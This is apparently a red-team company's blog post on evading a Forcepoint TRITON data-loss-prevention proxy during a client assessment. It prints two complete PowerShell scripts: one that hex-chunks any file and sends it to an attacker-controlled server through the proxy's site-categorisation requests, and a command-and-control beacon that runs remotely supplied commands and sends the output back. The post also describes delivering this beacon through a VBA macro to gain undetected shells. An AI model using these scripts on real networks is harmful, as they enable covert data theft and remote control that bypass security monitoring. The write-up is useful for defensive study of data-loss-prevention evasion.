Our Blog

The TRITON Won’t Protect You From Our Punches

Reading time ~10 min

Whilst on a Red Team assessment back in 2015, we were faced with a tough Data Leak Protection (DLP) and web content management gateway system called Forcepoint TRITON. One of the goals, besides gaining full access to the client, was to see if sensitive data could be exfiltrated from the internal network to attacker controlled servers. The first logical step was to analyse how this device functioned and identify any flaws.

Forcepoint TRITON®

Forcepoint Triton, according for Forcepoint’s marketing information is:

Forcepoint TRITON® Security Gateway Anywhere protects on-site and remote employees from the latest threats in a unified, hybrid solution.

Forcepoint TruWeb DLP™ capability prevents data loss and enables compliance. It includes unique features such as geo-location destination awareness and detection of criminal encrypted uploads, password file data theft, and slow data leaks (“drip” DLP). Other highlights include natural language processing, advanced machine learning and more than 1,600 policies and templates.

The DLP solution is just part of its operations, the main operation however is a web content-gateway management system, a web proxy which regulates access to the internet from the internal network, by approving or denying certain web categories  like finance, development and such, it also has the feature of automated web site categorisation.

Attacking the TRITON® Logic

Round 1

During the assessment, we observed that the automated web categorisation feature could possibly provide an outbound communication channel. When an internal user tries to visit a particular web site, Forcepoint will attempt to categorise the site by first sending an HTTP GET request to the provided URL. What’s particularly interesting is the fact that not only does Forcepoint do this for the main domain name, but in fact it categorises each URL path, for example:

  • If a user visits https://www.example.com/news, Forcepoint will send the GET request to the full URL and categorise it as news, and then allow or deny access to it, depending on the applied user access rights.
  • If the same user visits https://www.example.com/finance, Forcepoint will still connect to the the new path and try to categorise it.

What this means for an attacker, is the fact that even if the site was blocked by a policy, Forcepoint would still try to connect on each path change to try to categorise it. By abusing this functionality, a confidential file could easily be chopped into URL limit chunks encoded in hex, and sent over multiple requests with different paths, and reconstructed back at the external server.

Since the target hosts were running Microsoft Windows, a simple PowerShell script was created that does exactly that.

$data = [System.IO.File]::ReadAllBytes('[FILE PATH]');
write-host $data.count;
$string = [System.BitConverter]::ToString($data);
$string = $string -replace '-','';
write-host $string;
$IE=new-object -com internetexplorer.application;
$url = "http://[ATTACKER SERVER]/";

$len = $string.Length;
write-host $len;
$split = 1500;
$repeat=[Math]::Floor($len/$split);
write-host $repeat;

for($i=0;$i-lt$repeat;$i++){
    $str = $string.Substring($i*$Split,$Split);
    write-host $str;
    $IE.navigate2($url+$str)
;
    Start-Sleep -s 2;
};
if($remainder=$len%$split){
    $str = $string.Substring($len-$remainder);
    $IE.navigate2($url+$str);
};

So what exactly does that script do?

It takes any file located at the supplied file path, chops it into 1500 byte chunks, and then instantiates the Internet Explorer COM object and uses it to send the chunks back to the server in this format.

http://[ATTACKER SERVER]/[1500 CHUNK HEX BYTES]

When visiting the external server, a blocked message was received from Forcepoint indicating that the category was not allowed. This is fine, it is the intended behaviour and you need not worry about this message. The “payload” was still successfully sent and received.

Next up, the PowerShell script would be run in order to exfiltrate the goods, in this case Schedule.pdf, from a host protected by Forcepoint.

All we needed on the server we controlled was a simple Web Server to receive the file chunks and reconstruct the file.

The command file is used to verify that the reconstructed file is indeed of the same type.

Finally, opening the file shows us that the file was successfully exfiltrated from the protected network.

 

The above steps allowed us to prove one of the goals set by the client: exfiltrate data out with a DLP in action. This was done by abusing the Forcepoint TRITON operational logic (basically using their own protection against them)

In the spirit of sharing, we’ve released the PowerShell script along with the web server code. Both are available here.

It is worth noting that both Etienne and Vlad performed other tests on other DLP devices and found the same approach to be true and valid (we targeted BlueCoat and FireEye). For added bonus points, we also found that HTTP headers could also be used to exfiltrate data.

In this instance, only outbound comms were achieved.

Round 2

The IT security team relied on the fact that outbound communication was so restrictive that, if an internal host/user was compromised through SE/Exploitation, the attacker wouldn’t be able to gain an external command and control channel (c2). The only single path to the outside Internet, from the Internal network, was via a proxy: an interesting challenge and a challenge we accepted.

A question was raised: ‘what if the web server responded with 302/301 redirect, how will the proxy react to it?

In the first image, when the web server redirected to a valid web address, with a different path, the blocked message contained the full redirection URL and path.

 

In the second instance, when presented with an invalid domain, Forcepoint failed to resolve the domain name, and returned the following error back to the client.

The lightbulb moment.

Fantastic. Now we not only had a way of getting data out of the internal network, we could actually send data back to the client, which means full external command and control is possible.

There were two methods we can follow, both have their benefits and their downfalls, if we went with the first method, using a valid domain with controlled paths, it will allow more data to be sent back to the client, however the requests would be logged in Forcepoint.

The second method had a limitation on the size of the domain name, usually its 255 characters. During testing, Google Chrome and FireFox were both happy with 255 character domain names. Internet Explorer, however, was found to accept around 30 character domain names. On longer domain names, Internet Explorer would fail with an error and not return our controlled string. Utilising this method was problematic in that Forcepoint didn’t write anything to the log files. For the sake of stealth we went with the later method.

Hit Hard!

A PowerShell script was developed that beacons back to the web server, and the server responds with a redirect to an invalid domain. If the domain was ‘nocmd‘, then no action was taken, if it was anything else, such as ‘whoami‘ the domain, or command, would be updated by the server on command entry on the terminal, execute it and return the results back to the web server using the method discussed in the first section of the post.

The PowerShell script and CnC server are available here.

$IE=new-object -com internetexplorer.application;
$IE.Silent;
$url = "http://[ATTACKER SERVER]/";
$w = IEX whoami;
function ExecCommand($command) {
	$string = IEX $command 2>&1 | out-string;
	write-host $string;
	$len = $string.Length;
	$split = 1500;
	$repeat=[Math]::Floor($len/$split);
	for($i=0;$i-lt$repeat;$i++){
		$str = $string.Substring($i*$Split,$Split);
   		$IE.navigate($url+$w+'-'+$str);
		Start-Sleep -s 1;
	};
	if($remainder=$len%$split){
	    $str = $string.Substring($len-$remainder);
    	    $IE.navigate($url+$w+'-'+$str);
	};
}
function decodeCommand($command) {
	$command = $command -Split '\.';
	$command = $command[0];
	$cmd = for($i=0; $i -lt $command.Length;$i+=2) { [char][int]::Parse($command.substring($i,2),'HexNumber')};
	$command = $cmd -join '';
	return $command;
}
while ($true) {
	$IE.navigate($url);
	$command = $IE.Document.url -Split '/';
	$command = $command[2];
	$command = decodeCommand($command);
	write-host $command;
	if($command -Like'Nocmd') {
		Start-Sleep -s 2;
		continue;
	}
	elseif($command -like'chunk*'){
		$c ='';
		$command = $command -split '-';
		$cnt = $command[1];
		$IE.navigate($url+'getchunk');
		for($i=0;$i -lt $cnt; $i++) {
			Start-Sleep -s 1;
			$IE.navigate($url+'getchunk');
			$cmd = $IE.Document.url -Split '/';
			$cmd = $cmd[2];
			write-host $cmd;
			$cmd = decodeCommand($cmd);
			write-host $cmd;
			$c = $c + $cmd
		}
		write-host $c;
		ExecCommand($c);
	}
	else {
		write-host 'Exec';
		ExecCommand($command);
		Start-Sleep -s 2;
	}
	
}

The results of this were epic. We’d managed to create a function whereby external server, under our control, was turned into a fully-functional C+C server controlling an internal host by abusing the Forcepoint TRITON proxy itself.

A post is nothing without proof, so here is our PowerShell script running, showing the retrieved command, the length of the command result and the number of chunks it would take to send back to the server.

On the server, the command results are retrieved, and we have a shell :)

We added more functionality too: enabling remote PowerShell script invoking, by simply having the script on the web server root, and calling the command

Invoke-Script [PS SCRIPT NAME]

The server would split the script into chunks that fit into a domain name, and send a command to the client to wait for multiple chunks along with the number of chunks to expect. The client script would then request the chunks from the server based on the supplied number, and reconstruct the PowerShell snippet and execute it like a normal command, it was used to grab screenshots from the victim’s machine.

The payload was wrapped into a VBA macro and sent to multiple victims, gaining nine external shells, from the protected internal network. The kicker though was that not one single aspect of this attack was detected by any protection device present on the network (or hosts). The only one to detect anything untoward was Carbon Black’s ability to see that the PowerShell was executed from within Microsoft Word.

Our Red Teaming exercises are perfect examples of where you can prove how good all your process, policies, hardware and software (and people too) react to when a determined attacker wants access to your network and data.

If you’d like to find out more about what we can do, drop us a mail, we’d love to help.